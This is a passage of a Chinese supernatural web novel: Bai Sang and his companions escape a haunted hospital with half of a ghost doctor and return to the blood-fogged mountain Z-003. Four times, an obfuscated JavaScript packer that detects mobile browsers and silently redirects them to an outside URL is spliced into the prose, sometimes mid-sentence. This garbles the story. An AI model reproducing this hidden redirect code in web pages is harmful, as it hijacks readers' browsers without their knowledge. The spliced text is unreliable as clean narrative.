雷光劈在它身上,圆滚滚的身躯被劈出几道气孔,呼哧呼哧的往外冒气,霎时,浓郁的麻醉药剂味充斥了整个走廊。 常一闭着眼睛,他能感受到周正已正带着他不断疾驰,但病人跟护士的动静始终近在咫尺,没有被甩开。 他小心翼翼的问道:“我还要闭着眼睛吗?” 周正已沉声道:“把耳朵也堵上,听见动静也会招来诡物。” 常一迅速堵住了耳朵,虽然听不见也看不见,但那股浓郁的味道萦绕在鼻端,显然危机并没有过去。 周正已且战且退,一路遛着病人和护士这对组合,在不断延伸的走廊上飞奔。 不是他解决不了眼前的怪物。而是在分析五楼的情况后,他判断出,留一个明面上的敌人是最好的选择,不然迎接他们的就该是乌泱泱的怪物潮了。 周正已溜着护士在走廊里疾驰了许久,终于等到了白桑离开手术室。 白桑的登场就如同他留给众人的印象一般——鲜明的存在感以及绝对的压迫感。 浓郁的血腥味悄然弥漫,腐烂的病人们齐刷刷看向某个方向。 一直萦绕在鼻尖的腐烂气味突然消失了,常一小心翼翼的睁开眼,看见猩红的血水呼啸而至,在走廊中冲刷而过,将他跟周正已一并卷入其中。 白桑走出手术室,发现常一他们七倒八歪的堆叠在一起,浑身是伤的僵尸嗷嗷叫唤,冲到白桑面前告状。 【打不过】【医生】【解剖】 白桑朝周医生投去视线。 周医生期期艾艾的看向身后,发现老师压根没跟他一起出来,他们前脚出门,后脚手术室大门就关上了。 周医生只好独自承担一切:“你刚进手术室,它就去踹其他手术室的门,医院有点过激反应很正常吧!而且它这不也好好的吗?活蹦乱跳,一点事都没有。” 白桑重复:“一点事都没有?” 僵尸指着身上大大小小的伤口,嗷嗷叫唤。 【boss】【打不过】 相较于僵尸的斤斤计较,周正已更关心另一件事:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087554|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手术成功了吗?” 周医生巴不得能赶紧扯开话题,忙回答道:“失败了。病人彻底异化后,被他给吃了。” 常一顺着周医生的视线看向白桑,结结巴巴道:“吃……吃了?” 周医生沉重点头:“我现在知道你们的理智为什么掉得那么凶残了。”那场景诡看了都害怕,更别说人类了。 常一有些新奇的问道:“诡吃诡这种情况……对你们来说,常见吗?” 周医生:“太常见了,老鼠吃死人,能算是个事吗?但你确定他是诡物吗?” 常一还真不确定,于是换了个问法:“那……人吃诡常见吗?” 周医生:“这得问你们,我又不是人。不过还是那个问题,你们确定他是人吗?” 这俩一来一回,白桑顿时若有所思了起来:“想搞清楚我到底是什么情况,是得多找点专业人士。” 闻弦而知其音,周医生顿生不祥之感,缓缓退到手术室门口,并果断甩锅:“专业人士?我知道了,你是说老师是吧?” 他哐哐哐的敲起了门,边敲门边喊:“老师,有病人找你,你快开门呐老师。” 手术室里毫无反应。 白桑生出了几分恶趣味,一本正经的道:“你老师脾气太差,我喜欢活泼一点的。” 周医生鬼哭狼嚎:“救命啊!老师!你快开门啊,老师!我知道你听得见,老师!” 手术室半点动静都没有,只有周医生鬼哭狼嚎的动静不断回荡。 白桑等了一会,见周医生始终没有要停下来的意思,亲切的征询他的意见:“你打算自己走,还是我让人帮你?” 周医生看了眼缓慢蛄蛹的血水,慢吞吞的挪动脚步:“要不我带你在医院里转一圈?你还没跟其他医生接触过呢。实不相瞒,我们医院卧虎藏龙,我这水平顶多算是个小虾米……” 周医生好似突然发现了自己同事身上的诸多优点,滔滔不绝的给白桑介绍那些‘错过它就等于错过了全世界’的顶尖医学人才。 路过的医生、护士、病人都不由露出了怀疑人生的表情,驻足凝视突然转性的周医生,一直到他们走出诡医院大门,窃窃私语声才轰然响起。 “天呐,周医生居然在夸王医生医术精湛?我不会是出现幻觉了吧?” “周医生这是要去哪?怎么越走越远了?” “谢天谢地,那家伙终于走了,赶紧把入口关上,别再放它进来了。” “我还以为医院要被拆了,没想到只是丢了一个周医生,运气真好。” 22.诡医院(6) 医院门口的马路往外延伸了几百米后就突兀中断。一辆辆救护车凭空出现在马路尽头,载着病人朝医院的方向狂奔。 也有误入其中的人形单影只的走在荒野上,但察觉到白桑投来的视线,就纷纷加快了脚步,头都不回的跑了。 白桑环顾四周:“这也是诡医院的一部分?” 周医生指了指马路尽头:“我顶多送你们到那,剩下的路你们得自己走。” 僵尸在周围蹦蹦跳跳,看见什么都无比兴奋,还追着‘路人’跑了一段路,险些跑丢。 常一的视线时不时往僵尸身上跑,总觉得它有种失心疯的美。 白桑:“诡医院的病人是怎么来的?为什么有的在救护车里,有的得自己赶路?” 周医生:“诡医院的病人都是因为符合条件而被它选中的,只要他们想来诡医院就能找到入口。救护车是收费项目,付不起钱的只能靠步行。”按照诡医院的收费标准而言,乘一趟救护车就足够病人把心脏脾肝卖个遍了。 白桑:“那什么病人会直接出现在挂号门诊?” 周医生幽幽的看了他一眼:“你是说你自己?” 白桑:“我知道是我,我想知道为什么我会直接出现在医院门诊。” 每次白桑问出这种问题的时候,周医生都怀疑他是在找乐子:“当然是因为你不守规矩,瞎闯诡域……当规矩限制不了你的时候,还不是你想出现在哪就是哪?” 常一倒是能猜到为什么白桑‘明知故问’:“理解一下,他刚从Z-003出来,还没搞清楚状况。” “砰”的一声,不知不觉走到马路尽头的周医生一头撞到了无形屏障上。 除了他之外,其他人都毫无阻碍的步入了荒野。 白桑十分惊奇:“原来你真的不能离开诡域?” 白桑一直对此抱有怀疑,直到亲眼目睹了这一幕,才确定了诡物作为诡域的衍生品,在拥有力量的同时也受到相当严格的限制。 被诡域硬生生拦下来的周医生大喜过望:“我就送到这了,你们慢走。” 他转身想走,抬腿一迈没迈动,身后传来一股吸力,有什么东西黏在他身上,拽着他往外走。 周医生扭头,翻滚的血水近在咫尺,只隔着一层无形的屏障。 诡医院的边界拦住了它,唯有几滴血落在周医生脖子上,将他牢牢黏住,试图将他拽过去。 周医生小心翼翼的看了眼自己脖子上那几滴血——它能拽住他,自然也能轻易杀死他——又小心翼翼的看向不住拍打着诡域边界的血水。 拍过来的浪头一个比一个高,虽然屏障毫无反应,但周医生疑心自己听见了诡医院发出的咯吱咯吱声。 不会吧,白桑不会就这么把诡医院给拆了吧? 瞥见血水出现时,常一他们就闭上了眼睛,随后听见了周医生急促的呼吸声,听见了细微的咯吱咯吱声,听见了周医生脱口而出的“别”字,听见了最后的动静——地面摇晃,重物坠地,鬼哭狼嚎…… 紧接着,这些动静突然消失了,白桑的声音响了起来:“怎么做到的?” 周医生的声音听起来很失落:“我也想知道。” 结束了?周正已睁开眼,嗅到了混杂着血气的新鲜空气,同时还看到了两个脑袋四条胳膊的周医生。 周正已环顾四周。 他们仍在荒野之中,但不是属于诡医院的那片荒野,而是真正的‘野地’——没有人类踪迹的荒野。 周医生在怀疑诡生:“我真出来了?” 白桑关切的问道:“出来了半个——你还会治病救人吗?还能做手术吗?” 周医生:“就算只是半个也不行!诡医院的高级医生都没法离开医院,我却从诡医院出来了!你知道这意味着什么吗?” 相较于周医生的不敢置信,亲眼见到白桑从Z-003出来的周正已就平静多了:“只出来了半个,那就意味着起码还有半个你留在诡医院,也可以说,你没完全离开诡医院。而且你目前这个状态也不一定算是自由行动。” 他的冷静感染了周医生,周医生也冷静了下来:“什么叫我不一定算是自由行动?” 周正已:“白桑带走的佛首也离开了诡域,但你觉得它目前的状态能算是自由行动吗?” 那当然不能算,佛首就没离开过血水,顶多算是白桑随身携带的挂件…… 周医生反应了过来:“我又没泡在血水里。” 周正已伸手做了‘请’的示意:“那你走远点试试?” 周医生条件反射的去看白桑,白桑正听得津津有味,见周医生投来视线,爽快的道:“我也想知道答案。” 周医生往后退,一步两步三步……在众目睽睽下走了一百多米,他突然不动了。 白桑‘咦’了一声。 纸人不知道什么时候出现在了周医生身后,捧着周医生回到白桑跟前,放下周医生后,悄无声息的回到了白桑身后。 一落地,周医生就扭头朝脖子后头看去——那几滴不起眼的血滴渗入了皮肉,恍若一个别出心裁的刺青——从某种角度来说,他还真是在‘血水’里泡着。 见周医生的状态本质上跟佛首没什么区别,周正已立马关心起了正题:“刚刚到底发生了什么?他怎么把你带出来的?” 周医生生无可恋的道:“没什么,就是趁着诡医院被拆了一小半顾不上其他的时候,他往外扒拉了半个我就跑了。” 白桑:“我也没想到居然能只带走半个。” 常一叹为观止:“这就是你长了四个脑袋的原因吗?”方便随时分裂出半个自己来? 周医生咬牙切齿:“我之所以有四个脑袋跟这没关系!” 常一陷入了思考:“那到时候你们还能合二为一吗?你能控制留在诡医院的那半个你吗?如果没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15091294|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法把分裂成两个的你变回原样,那以后是不是就会有两个周医生?那谁才是真正的周医生?为了区别你跟另外半个你,是不是得有人改个名……” 周医生打断道:“这些都不重要。反正他是我,我也是我。” 周正已将一路跑偏的话题拽了回来:“接下来去哪?” 白桑没忘记他们离开小山村的目的:“去Z区总办事处。” 周正已分辨了下方向和位置,然后迅速宣告放弃:“这里是哪?” 白桑比他更茫然:“不知道。” 白桑跟周正已对视了两秒,终于意识到在不知道自己在哪的情况下要想找到前往Z区总办事处的路无疑是一种天方夜谭。 白桑立马做出了决定:“我们回小山村。” 不知道这里是哪没关系,回小山村就行了,反正周正已他们知道从小山村去Z区总办事处的路。 说着,白桑就飘出老远,在天地间化作一个缥缈的黑影。 几秒后,白桑回来了,看向留在原地一动不动的众人。 周正已揉了揉太阳穴:“临时疯狂导致的后遗症还没好,我现在用不了缩地成寸。” 常一拨弄轮椅上的按钮,表示他已经努力过了:“这个轮椅离开诡医院就没法加速了,只能慢行。” 周医生:“我就两条腿,跑断了都跟不上你的速度。” 在‘普通人’的对比下,白桑终于意识到,自己之所以能分分钟抵达诡医院,不是诡医院离得近,而是侍女们的赶路速度太非人。 白桑想了想:“我可以带上你们一起……” 当然,白桑指的带上他们一起是指把他们放血水里一块带走。他可能觉得这没什么,但任何正常人(包括正常诡)都不会觉得这是一种方便快捷的安全赶路方式。 周正已礼貌拒绝:“我觉得这样挺好的。” 常一尬笑道:“现在的人太忙了,偶尔也该停下脚步欣赏一下……” 周医生的反应则相当与众不同,他大喝了一声:“有什么在靠近!” 众人的表情立马严肃了起来。 白雾晃晃悠悠的飘向他们的位置,白桑转动着手里的佛首,看了它一眼,好似是错觉般,白雾一个转向,飘向了其他方向。 一行人严阵以待了半天,什么都没发生。 常一忍不住问道:“……有东西靠近吗?” 白桑:“跑了。” 周医生:“跑了?” 白桑:“不知道为什么,它突然换了个方向。” 周正已抓住了重点:“你能看见它?” 白桑很惊讶:“你们看不见?这里到处都是飘来飘去的白雾,天上还有那么多黑影。” 周正已看向周医生:“周医生,你看得到那些吗?” 周医生再度重申道:“很明显,我是个正常诡,跟他不一样,看不到这些奇奇怪怪的东西。” 23.诡医院(7) “如果白先生看到的白雾是异常的话,那天空中的阴影又是什么?” 拂晓将至,地平线上浮出一缕缕霞光,赶了一夜路的众人围着火堆坐成一团,闲聊了起来。 常一看着火堆上的水壶道:“比异常更恐怖的东西?” 周医生作为半个诡(字面上的半个诡),对人类的食物没有需求,此刻正站在人群外眺望冉冉升起的朝阳,怀念诡医院的花花草草以及病人们。 周正已一边往火堆里丢柴火,一边思索道:“飘在天上、比异常更恐怖的东西——外星诡?” 白桑盯着蹦蹦跳跳的僵尸看,免得他又跑丢了,听见周正已的话,注意力转了回来:“外星也有诡物?” 水壶咕噜噜的冒起了气泡,周正已伸手提起水壶,从袖子里掏出几个白瓷缸,用滚水烫了一遍后,不疾不徐的倒满水。 他将杯子递给白桑:“我随便猜的。不过世界都乱成这样了,外太空里有诡也很正常,说不定那些‘神仙’都在外太空里飘着呢。” 没滋没味的白开水下肚,白桑给出了‘尝后感’:“能喝,就是白开水的味道。” 周医生不知从哪掏出了病历本,记录道:“白开水,味道正常,可以入口。下一个。” 周正已从袖子里掏出食指长的压缩饼干,递给白桑:“办事处特质压缩饼干,这么一小根能顶三十个小时。”除了口感和味道都不怎么样之外,没有别的缺点。 白桑拆开尝了一口,表情顿时缤纷多彩了起来。 周医生凑了过来:“味道怎么样?” 白桑咽下嘴里的‘沙子’:“能吃,但不好吃。赶紧像水果糖在空气里氧化了好几年,甜得过头还有股强烈的人工色素味。” 常一看了眼压缩饼干的外包装,给予肯定的答复:“你吃的是水果味。它就是这个味道。” 白桑一连喝了好几口白开水,将嘴里那股工业糖精的味道压了下去:“水果味的压缩饼干?谁这么有创意?” 常一:“除了水果味,还有肉味、咖啡味、蔬菜味……根据我的经验,咖啡味最难吃,贼苦。肉味尝着像肥肉。总的来说,都很难吃。” 周医生继续记录道:“办事处特制压缩饼干,味道正常,可以入口。下一个。” 周正已在袖子里掏了半天,掏出一个熟悉的圆桶:“红烧牛肉味方便面,不扛饿。”但好吃。 他撕开方便面桶,撒好调料倒上热水,盖上纸盖,当即散发出一股诱人的香味。 常一眼巴巴的看着方便面,像是看到了一顿大餐:“你要是吃不下的话,剩下的我可以帮你解决。” 白桑好奇的问道:“你们出远门的时候,在路上都吃些什么?” 常一生无可恋:“这是我第一次出远门。吃了一路的压缩饼干,什么奇葩的口味我都尝过了。” 周正已不以为然:“压缩饼干方便携带而且扛饿,是出远门的首选。” 白桑掀开纸盖,挑了根方便面唆着吃:“能吃,味道跟我记忆里没什么区别。” “可以品尝人类食物,味觉正常,进食方式和手段没有明显变化……”周医生停下笔,得出结论:“所以你一直没产生进食冲动,就是纯粹不饿?” 白桑把方便面递给常一,常一接过方便面时还有些诧异:“你不吃了?” 白桑摇头:“我不饿。” 一听他这么说,常一就不再假客气,埋头苦吃了起来。 周医生继续道:“虽然进食方式和手段没有明显变化,但有可能出现了另一种食物摄取模式。” 白桑:“什么意思?” 周医生:“就是你吃诡吃饱了,所以对人吃的东西不感兴趣。毕竟从食物中蕴含的能量含量来说,诡肯定高于方便面。” 说到这,周医生环顾四周,遗憾道:“可惜这里没有诡让你来咬一口……” 常一头也不抬的道:“谁说没有?” 周医生恍然大悟,视线落在远处闲逛的僵尸身上:“要不你去咬一口?看能不能吃?好不好吃?想不想吃?” 白桑没动,反而若有所思的打量起了周医生。 周医生突然反应了过来:他是失心疯了吗?提出这么个主意?比起疑似有‘传染病’的僵尸,他肯定更符合食物健康的标准,说不定白桑早就觉得他好闻了。 周医生火速抛弃了无意义的好奇心,转移话题道:“之前说到哪了?” “天上有诡?”白桑的思路转到了科研精神上:“用火箭去外太空看看?” 常一呼噜呼噜的吃着方便面:“灾难爆发的时候,很多城市都没反应过来,就被诡域笼罩了。那会跟末世似的,社会秩序完全崩塌,诡物杀人,人也杀人……等国家重新派遣队伍重整秩序,都是好几年后的事了,太空技术早断层了。眼下科技发展全靠挖,只不过不是从土里挖,而是从诡域里挖。” “没被诡域覆盖的那些人类聚集地都被破坏得很严重——大部分都是内讧造成的。而有些诡域笼罩的城市,反而跟时光凝固了一样,保存着完好的模样,包括设备记录啥的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15091561|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周正已补充道:“也不完全靠挖,国家一直在推进相关研究,为人类生存提供更便利的条件,压缩饼干就是其中之一。” “问题在于我们能利用的资源非常匮乏,安全区空间有限。野地里倒是有大把空间和资源,但这里异常和诡域横行,不适合开发建设。” * 闲聊结束,修整完毕,众人再度启程。 空气中隐约传来周医生的声音:“这得走到什么时候去……真的不能放我回诡医院吗?我好歹也是个诡物,不适合跟你们走一块。” 声音飘在空旷的原野上,引动窸窸窣窣的白雾,但往往一靠近,就转向了另一个方向,与他们插肩而过。 旅途中偶尔的热闹来自于僵尸四处乱窜引发的动静。 虽然不知道白桑为什么要带上它,也不知道僵尸为什么会跟着他们走,不过这几天的接触下来,周正已他们已经充分了解了僵尸的习性——无法沟通,心智低下,一不留神就会跑丢。 周医生挖掉手臂上发黑的肉块:“再补充一点,还有极强的攻击性,除了白桑,谁碰它都得挨一爪子。” 大家一起结伴走了好几天,闲着没事就扯东扯西,常一早已对周医生的诡物身份失去敬畏,闻言眼皮都懒得抬一下:“谁叫你没事去撩拨它的?挨这一爪子纯属活该。” 周医生刚想反驳,就见远处的僵尸晃了晃,砰的一声砸到了地上,体内的诡力迅速消散,僵尸以肉眼可见的速度蜷缩,转眼间变成了一具干尸。 周正已皱着眉头看完僵尸身上发生的变化,扭头看向周医生。 周医生伸手碰了下干瘪的尸体:“死了。跟那些病人的死亡方式一模一样,毫无征兆的突兀暴毙……这几天没出事,我还以为它已经被白桑治好了呢。” 白桑表情平静,好似对这一幕早有预料——从某种意义上来说,他确实对僵尸的‘死亡’早有预料。 在诡医院时,僵尸的角色偏差度就已经逼近危险值了,离开诡医院后,偏差度上涨的速度虽然慢了下来,但依旧在增长。 偶尔跟白桑交流时,他还总迸出几个游戏相关的关键词,进一步加剧了人物偏差度的上涨速度。 不过对方显然不觉得这有什么,在偏差度快满80%时,他跑来跟白桑告别,抒发了一通“大佬牛逼”的感慨,约好回游戏大厅加好友后,就开开心心的死了。 这么一想,玩家角色偏差度涨得这么快,也不全是策划处心积虑提高难度的锅,还有一部分原因是玩家跟游戏世界的画风相差太大导致的。 24.Z-003(1) 阳光洒遍大地,也无法驱散笼罩在群山上的血色雾气。 在血色深处有什么东西正在逐渐变得活跃,让血雾的动静也跟着激烈了起来。 “活儿,你还在看那玩意?”王贺蹲在马路牙子上,一边刷牙一边含糊道:“要真是Z-003成型的征兆,不可能这么久都没其他动静……呸呸呸,研究部一天天都在想什么?牙膏都要搞出个怪味来。” 他吐掉嘴里的沫子,用牙缸里剩下的水漱了漱口,在营地里转了一圈,扒拉着只剩个底的水缸,朝赵活喊道:“行了,别发呆了,还有比那更重要的大事需要您老人家操心呢。” 赵活盯着山上看,头都没回一下。 王贺继续喊道:“水快喝完了,后边的队伍什么时候到?人不来不要紧,物资总得给我们带来吧。” 赵活终于有了反应:“在没确认具体情况前,其他人暂时待定。” 王贺:“那要是一直没搞明白,咱们岂不是要在这等到天荒地老?要是道长在就好了,他袖子里什么都有,不用为物资不够的事发愁。” 赵活没搭理他,王贺自顾自道:“话说道长和那小八卦不会出事吧?严先生跟他们失联了,偏偏他们身边还跟着个来历不明的家伙……我都怀疑那家伙是故意把他们骗出去了。” 赵活被他念叨烦了:“处里确认过了,道长和小八卦都还活着。” 王贺忧心忡忡:“但那几条去荒野之息的路上也没见着他们的踪迹啊,他们总不会是迷路了吧?” 王贺走到赵活身旁,看着近在咫尺的血雾,它就像一个无底洞,不管往血雾里丢什么,都会被吞噬。 王贺:“这玩意有多危险你也看到了,天上连只鸟都别想飞过去,方圆百米内连个异常的影子都看不到,从这里面出来的‘活人’,那能是人?还从他嘴里确认Z-003的情况……别最后变成我们排着队给他送口粮了。” 赵活不搭理他,王贺又说起了另一件事:“我听说Z区已经在转移安全区了,能成吗?” 赵活有了反应:“人太多,就算附近几个区有地方接收,怎么把人送过去也是个难题。” 王贺叹气:“确实……你说这Z-003怎么就突然复苏了呢?” 赵活:“就算它不复苏,Z-001、Z-002、Z-004活跃起来,也一样。” 王贺不乐意了:“你就不能说点好听的?老泼冷水有意思吗?” 赵活凝视越发活跃的血雾,整个人都紧绷了起来:“退,回营地。” 两人迅速退回营地,遥遥注视着激烈翻滚的血雾和突然‘活’过来的群山。 不用赵活说,王贺也看出来不对劲了。 有什么东西正在群山之中苏醒,注视着群山中的一切,也注视着山脚下的蝼蚁。 他们没有挪开视线,从某种角度来说,他们来到这里,等的就是这一刻。 所以哪怕所有感观都在叫嚣着危险,他们依旧密切关注着山上的变化,看着血雾如同海面般激烈翻滚,看着群山‘热闹’起来,听着……脚步声、轮椅滚动声一并响起。 王贺跟赵活几乎立马想到了《Z-003-01首次接触过程》中提到的‘坐着轮椅的白桑’,不约而同的转向声音发出的位置。 天际线上,影影绰绰的显露出几个身影——推着轮椅的道长,坐在轮椅上的常一,两个脑袋四条胳膊的白大褂,以及呼啸而至的血水。 王贺和赵活下意识的后仰,但很快反应了过来,再度投去视线时,血水不见了踪影,人群中多出了一个病恹恹的年轻人。 白桑‘咦’了一声:“小山村的村民已经转移了?营地里只有两个陌生人。” 周正已眺望营地的方向:“可能是办事处的人。” 离得太远,常一看不清楚,不解的问道:“怎么只来了两个人?” 担心出了什么意外,周正已加快脚步,走到了营地前。 王贺率先跟他打了声招呼:“道长,你们怎么回来了?这位就是白桑白先生是吧?小山村的村民已经转移到安全区了……” 周正已没错过这两人紧绷的神态,他解释道:“我们中途去了诡医院,出来的时候发现迷路了,打算先回小山村确认一下方向。” 常一热情的跟赵活他们打招呼:“赵处!我是不是能回去了?你不知道我这次外派有多危险,要不是运气好……怎么没人说话?” 他后知后觉的意识到现场气氛不对,视线落在白桑身上,脱口而出:“你在看什么?怎么这个表情?” 他的问题出口后,赵活跟王贺终于给了他一个眼神,眼神里的含义十分丰富——几天没见,你这胆量进步得让人刮目相看啊。 白桑眺望着山顶的方向,看起来有些不解:“山上好像有点不对劲。” 赵活试探着道:“一个礼拜前,山上的雾气突然激烈了起来……” 白桑看着山上郁郁葱葱的森林,十分诧异:“山上还出现了雾气?” 现场安静了两秒,常一耿直的道:“你下山那天就出现了,一直到现在都没消散。” 轮椅咕噜噜的转动,越过营地,走到山脚下,停在郁郁葱葱的高大树木前。 白桑端详了它片刻,确认了这一点:“我没看见你们说的雾气,山上长满了树,有一片郁郁葱葱的树林。” 他的话刚落下,只见血雾浮动,一棵高大的树木突兀显露,树杈上长着无数个眼珠子,注视着众人。 常一脑仁突突突的跳个不停,干脆利落的双眼一闭,趴在轮椅上装死。 周正已也第一时间闭上了眼睛,提醒另外两人:“别看,快闭眼!” 他的提醒慢了一拍,赵活跟王贺直面了‘超出认知的存在’,理智瞬间狂降。 唯一没受到影响的周医生长叹了口气:“我算是知道你为什么死活要把我拽出来了……” 周医生的手落到赵活身上,赵活的身体立马紧绷。 他记得,这一行人中,除了常一和周正已之外,还有一个明显不是人的诡物。 不过他很快反应了过来——对方碰到他之后,他身体上的不适迅速消退,取而代之的是轻微的头疼。 “有些东西不给你们看是为了你们好,”周医生慢悠悠的道:“但凡没有那层雾过滤精神冲击,你们来一个就得疯一个。不过,话说回来,你真是从Z-003里出来的?” 周医生转向白桑,看着白桑身后不稳定的诡力波动——他看到的场景跟周正已他们看到的没太大区别,都是笼罩着群山的血雾。不同的是,作为诡物,他能感知到这个诡域眼下并不稳定,到处都是入口,就像是大咧咧敞开门迎接客人。 白桑后知后觉的反应了过来:“山上的风景在我们眼里不一样?” 周正已点头:“在我们眼里,群山被一层血雾覆盖着,除此之外,什么都看不到。” 挂满眼珠子的血红大树好似只是一个幻影。如今再看,白桑身边分明只有一颗郁郁葱葱的参天大树,绿意盎然,生机勃勃。 赵活转悠着一个个念头,最后抛出了一个八竿子打不着的话题:“白继业跟墨守仁转移到城里前,我跟他们聊过之后的打算。” 白桑果不其然被吸引了注意。 赵活:“墨守仁打算去接他孙子,白继业说要给死去的村民立个碑,方便村里人以后扫墓。” 白桑“哦”了一声,挪开视线眺望群山深处。就在赵活以为对话就这么结束了的时候,他突然开了口:“白桑的名字也在上面?” 赵活一激灵:“你怎么知道?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15095840|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白桑:“我跟周正已他们走的时候,他没拦我,我就知道他看出来了。” 王贺脱口而出:“所以你知道他们知道你不是白桑?” 白桑觉得他问了句废话,都懒得回。 王贺换了个问题:“即使如此,你对你自己的认知依旧是白桑?”而不是其他什么东西? 白桑选择性的回答道:“在我的记忆里,我已经二十五了。” 周正已和赵活下意识的去看王贺,王贺朝他们点了点头。 王贺绰号谛听,掌握的能力是听,听心声、听真假、听人的位置……虽然因为双方的实力差距,他听不到白桑的心声,但分辨真假还是能做到的,比如此刻,他就确认白桑刚刚这句话没有任何虚假。 在办事处的人视线交错时,周医生无动于衷甚至觉得有些无聊:“诡域里发生什么都很正常。说不定Z-003里就有成千上百个白桑,从刚出生到埋土里的,各个年龄段的,应有尽有。” 常一想象了下那个场景,不由打了个冷颤:“有点吓人……” 周正已接过话茬:“要想知道到底是怎么回事,亲眼看一看不就行了。” 白桑扭头看他:“你想上山?” 周正已的理由很充分:“不是你想上山吗?如果你上了山,我们被留在这,我们不能保证你上了山之后还能再下山,也不能保证到时候下山的‘人’还是不是你。考虑到这些未知因素,我更倾向于我们一起上山。” 当然,最关键的一点是,通过这些天的同行,周正已确认了白桑对人类的友好立场。白桑回了Z-003之后,不管是下不了山还是换了个立场,对他们来说,都不是什么好消息。 白桑不是很赞同:“这很危险。” 不止对他们来说很危险,对白桑来说,也称不上万无一失。要是再来一次之前的遭遇,在青铜鼎已经碎成一堆碎片的前提下,白桑不觉得自己还能那么幸运的逃过一劫。 周医生十分赞同:“你们看一眼树都能撅过去,进Z-003不是找死吗?” 其他几人交换了下视线,周正已祭出了万能句:“来都来了……” 周医生翻了四个大白眼:“来都来了,不如去送个死吧?这像话吗?” 周正已有理有据的道:“Z-003出现了这么明显的异常变化,谁也不知道它究竟在酝酿些什么。万一这是某种未知的征兆,我们现在错过阻止它变化的机会,以后可能就再也没机会阻止它了。” 但凡换个‘当地人’都能轻易从周正已的话里找出一堆漏洞,比如最明显的一点——不管Z-003在酝酿什么,周正已他们都不具有阻止它的能力——但严重缺乏常识的白桑并没有意识到这一点,成功被他说动了。 * 常一留在了营地,其余人跟在白桑身后,小心翼翼的越过浮动的血雾。 浓郁的血腥味扑面而来,难以分辨的喃喃声在耳边响起,血水冲刷着白骨,席卷众生。 白桑听见后方传来了又哭又闹的动静。 轮椅停了下来,白桑扭头看去。 周正已盘腿席地而坐,像是在打坐念经;赵活步履蹒跚、跌跌撞撞的原地转圈;王贺趴在地上,耳朵紧贴着地面,从他耳孔中渗出的鲜血染红了地面;周医生又哭又笑,时而高喊“我治好了”,时而痛哭“手术失败了”。 白桑居然没觉得意外,他叹了口气,指挥着侍女将他们带上,准备返回营地,宣告本次探索就此告终。 但侍女刚把他们捧在手上,建筑群就出现在了白桑面前。 熟悉的建筑一路延伸到山壁,占据着群山中的要道。远远看去,影影绰绰的人影在建筑群中徘徊,如同一座死城。 ‘吱呀’一声,紧闭的大门在白桑面前缓缓开启。